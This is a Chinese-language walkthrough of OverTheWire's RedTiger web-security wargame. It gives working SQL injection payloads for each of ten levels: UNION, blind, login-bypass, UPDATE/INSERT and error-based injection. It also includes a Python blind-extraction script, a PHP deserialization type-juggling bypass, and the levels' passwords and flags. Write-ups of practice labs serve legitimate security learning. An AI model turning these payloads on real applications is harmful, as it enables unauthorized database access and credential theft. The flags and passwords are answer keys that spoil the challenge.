OverTheWire - RedTiger

RedTiger's Hackit

https://redtiger.labs.overthewire.org

RedTiger 是一个纯 Web 安全的 wargame,共 10 关,全是 SQL 注入(最后一关是 PHP 反序列化),从简单到复杂。

解法记录如下。

Level 1 — Simple SQL-Injection

目标:获取 Hornoxe 用户的密码

表名:level1_users

页面 GET 参数 ?cat=N 存在数字型注入,原始 SQL 类似:

1
SELECT col1, col2, col3, col4 FROM some_table WHERE cat=1

这里 cat 参数查的是分类表,和登录无关。登录查询针对 level1_users 表。回显第 3、4 列。UNION 注入枚举 4 列即可:

1
?cat=1 UNION SELECT 1,2,username,password FROM level1_users

拿到 Hornoxe 的密码:thatwaseasy

登录后拿到 flag 和 Level 2 密码。

27cbddc803ecde822d87a7e8639f9315

Level 2 密码:passwords_will_change_over_time_let_us_do_a_shitty_rhyme

Level 2 — Simple login-bypass

目标:登录绕过

用 Level 1 密码通过 Cookie level2login 认证后,页面显示登录表单。

SQL 类似(表名推测,页面未给出):

1
SELECT * FROM users WHERE username='$username' AND password='$password'

直接在 password 字段用 ' OR '1'='1 绕过条件验证。

1222e2d4ad5da677efb188550528bfaa

Level 3 密码:feed_the_cat_who_eats_your_bread

Level 3 — Get an error

目标:获取 Admin 的密码

表名:level3_users

页面用 usr 参数查询用户详情。该参数经过 urlcrypt.inc 的解密函数处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
function encrypt($str) {
$cryptedstr = "";
srand(3284724);
for ($i = 0; $i < strlen($str); $i++) {
$temp = ord(substr($str, $i, 1)) ^ rand(0, 255);
while (strlen($temp) < 3) {
$temp = "0".$temp;
}
$cryptedstr .= $temp."";
}
return base64_encode($cryptedstr);
}

function decrypt($str) {
srand(3284724);
if (preg_match('%^[a-zA-Z0-9/+]*={0,2}$%', $str)) {
$str = base64_decode($str);
if ($str != "" && $str != null && $str != false) {
$decStr = "";
for ($i = 0; $i < strlen($str); $i += 3) {
$array[$i/3] = substr($str, $i, 3);
}
foreach ($array as $s) {
$a = $s ^ rand(0, 255);
$decStr .= chr($a);
}
return $decStr;
}
return false;
}
return false;
}
?>

srand(3284724) 固定种子,rand(0, 255) 序列可预测。

两个已知加密值: - MDQyMjExMDE0MTgyMTQw -> decrypt -> Admin - MDYzMjIzMDA2MTU2MTQxMjU0 -> decrypt -> TheCow

通过 glibc srand(3284724) + rand() + PHP RAND_RANGE 宏可以算出 rand(0,255) 序列(前几个:107, 183, 99, 223, 226, 137...)。用 C 程序生成 200 个 key:

1
2
3
4
5
6
7
#include <stdlib.h>
#include <stdio.h>
int main() {
srand(3284724);
for (int i = 0; i < 200; i++)
printf("%d,", (int)(256.0 * rand() / (RAND_MAX + 1.0)));
}

加密 SQL 注入 payload 后用 usr 参数传入。表有 7 列,列映射为:

  • Username=2, First name=6, Name=7, ICQ=5, Email=4
  • id=1, password=7

Payload:

1
' union select '1',group_concat(password),'3','4','5','6','7' from level3_users#

加密后访问拿到 Admin 密码。列映射来自第三方 writeup,实际列顺序可能有变动。

thisisaverysecurepasswordEEE5rt

Level 4 密码:put_the_kitten_on_your_head

Level 4 — Blind Injection

目标:获取表 level4_secretkeyword 列的第一个值

URL 参数:?id=N

页面提示:

  • LIKE 被禁用
  • 唯一需要盲注的关卡

?id=1 返回 Query returned 1 rows.?id=0 返回 0 rows

列数:2 列(?id=1 UNION SELECT 1,2 返回 2 rows)

盲注脚本逐位提取 keyword:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests

url = 'http://redtiger.labs.overthewire.org/level4.php'
cookies = {'level4login': 'put_the_kitten_on_your_head'}
keyword = ''
for i in range(1, 22):
bit = ''
# 判断 bit 长度
payload = {'id': f'if((select length(bin(ascii(substr(keyword,{i},1)))) from level4_secret limit 1)=7,1,0)'}
r = requests.get(url, cookies=cookies, params=payload)
bit_len = 7 if 'Query returned 1 rows' in r.text else 6
for j in range(1, bit_len+1):
payload = {'id': f'if((select substr(bin(ascii(substr(keyword,{i},1))),{j},1) from level4_secret limit 1)=0,1,0)'}
r = requests.get(url, cookies=cookies, params=payload)
bit += '0' if 'Query returned 1 rows' in r.text else '1'
keyword += chr(int(bit, 2))
print(keyword) # killstickswithbr1cks!
killstickswithbr1cks!

Level 5 密码:this_hack_it's_old

Level 5 — Advanced login-bypass

目标:绕过登录

禁用:substring, substr, (, ), mid

提示:密码是 MD5 加密的

注入点在登录表单。表有 2 列。用 UNION 注入自定义用户和已知 MD5 值:

1
' union select '1','c81e728d9d4c2f636f067f89cc14862c' #

c81e728d9d4c2f636f067f89cc14862c2 的 MD5。服务端验证流程是:查询用户名和 MD5 密码,然后将输入密码 MD5 后比较。

ca5c3c4f0bc85af1392aef35fc1d09b3

Level 6 密码:the_stone_is_cold

Level 6 — SQL-Injection

目标:获取 level6_users 表中 status=1 的第一个用户

参数:?user=N

这是一个 UNION 注入。页面先查询用户 ID,再用返回的数据构造第二个查询。5 列。

Payload:

1
' union select 1,id,3,password,5 from level6_users where status=1 #

返回:

  • Username: 3
  • Email: m0nsterk1ll

密码 m0nsterk1ll 登录成功。

074113b268d87dea21cc839954dec932

Level 7 密码:shitcoins_are_hold

Level 7 — SQL-Injection

目标:获取发布 google 新闻的用户名(level7_news 表,autor 列)

限制:禁用 substr, substring, ascii, mid, like, --(no comments)

原始查询涉及 JOIN,错误信息泄露了结构:

1
2
3
SELECT news.*, text.text, text.title
FROM level7_news news, level7_texts text
WHERE text.id = news.id AND (text.text LIKE '%$input%' OR text.title LIKE '%$input%')

$input 在 SQL 中出现两次,注释符被禁用,故用 MySQL 的 " 做 quote-balancing:

payload 的 "(第 1 列)在 MySQL 默认模式下开启一个双引号字符串,吃掉第二次注入点及之间的所有内容(包括 OR text.title LIKE 分支),直到第二次 union select 后的 " 才闭合。('(第 4 列)和模板残留的 %' 拼接成 ('%'),是一个合法的括起来的字符串表达式。最终 UNION SELECT 返回 4 列。

id=3 是 google 新闻在表中的条目 ID(通过枚举 text.title 确定)。

1
goo%') union select ",2,(select group_concat(autor) from level7_news where id=3),('

返回 autor:TestUserforg00gle

970cecc0355ed85306588a1a01db4d80

Level 8 密码:or_so_i'm_told

Level 8 — SQL-Injection

目标:获取 admin 的密码

用户信息编辑页面,注入点在 email 字段(没有转义)。

SQL 为 UPDATE 语句:

1
UPDATE {table} SET name='$input', email='$input', icq='$input', age='$input' WHERE id=1

在 email 字段注入,将 password 写入 name 字段利用回显读取。子查询从待更新的用户表(level8_users)中读取管理员密码。MySQL 不允许 UPDATE 的子查询直接引用目标表,需用 derived table 绕一层:

1
', name=(select password from (select password from level8_users limit 1) as t), email='a

执行后页面显示 Name 字段变成密码值。

19JPYS1jdgvkj

9ea04c5d4f90dae92c396cf7a6787715

Level 9 密码:network_pancakes_milk_and_wine

Level 9 — SQL-Injection

目标:获取任意用户的用户名和密码

表名:level9_users(数据源表)

这是一个 INSERT 注入。页面有提交表单(author, title, text)。注意涉及两个表:INSERT 写入一个内容表(如 level9_news),子查询从 level9_users 读取目标数据。

= 被过滤,但可以通过闭合括号注入:

1
'),((select username from level9_users),(select password from level9_users),'1

或者用 updatexml() 做 error-based 注入:

1
a' or updatexml(2,concat(0x2e,(select username from level9_users)),0) or '

结果:

  • Username: TheBlueFlower
  • Password: this_oassword_is_SEC//Ure.promised!
84ec870f1ac294508400e30d8a26a679

Level 10 密码:whatever_just_a_fresh_password

Level 10

目标:以 TheMaster 身份登录

页面有一个隐藏的 login 字段,值是 base64 编码的 PHP 序列化数据:

1
2
3
4
5
6
7
8
9
10
11
12
<b>Welcome to Level 10</b><br /><br />
Target: Bypass the login. Login as TheMaster<br />
<br /><br /><br />
<form method="post">
<input
type="hidden"
name="login"
value="YToyOntzOjg6InVzZXJuYW1lIjtzOjY6Ik1vbmtleSI7czo4OiJwYXNzd29yZCI7czoxMjoiMDgxNXBhc3N3b3JkIjt9"
/>
<input type="submit" value="Login" name="dologin" />
</form>
<br /><br /><br />

解码后:

1
a:2:{s:8:"username";s:6:"Monkey";s:8:"password";s:12:"0815password";}

PHP unserialize() 反序列化后做 == 比较,后端大致逻辑:

1
2
$data = unserialize(base64_decode($_POST['login']));
if ($data->username == 'TheMaster' && $data->password == $db_password) { ... }

利用 PHP 类型转换漏洞:当 boolstring== 比较时,true == "任何字符串" 恒为 true,password 比较永远通过。

构造 Serialize:

1
2
3
a:2:{s:8:"username";s:9:"TheMaster";s:8:"password";b:1;}

b:1; → boolean true

base64:

1
YToyOntzOjg6InVzZXJuYW1lIjtzOjk6IlRoZU1hc3RlciI7czo4OiJwYXNzd29yZCI7YjoxO30=

The password for the hall of fame is: *****************************

721ce43d433ad85bcfa56644b112fa52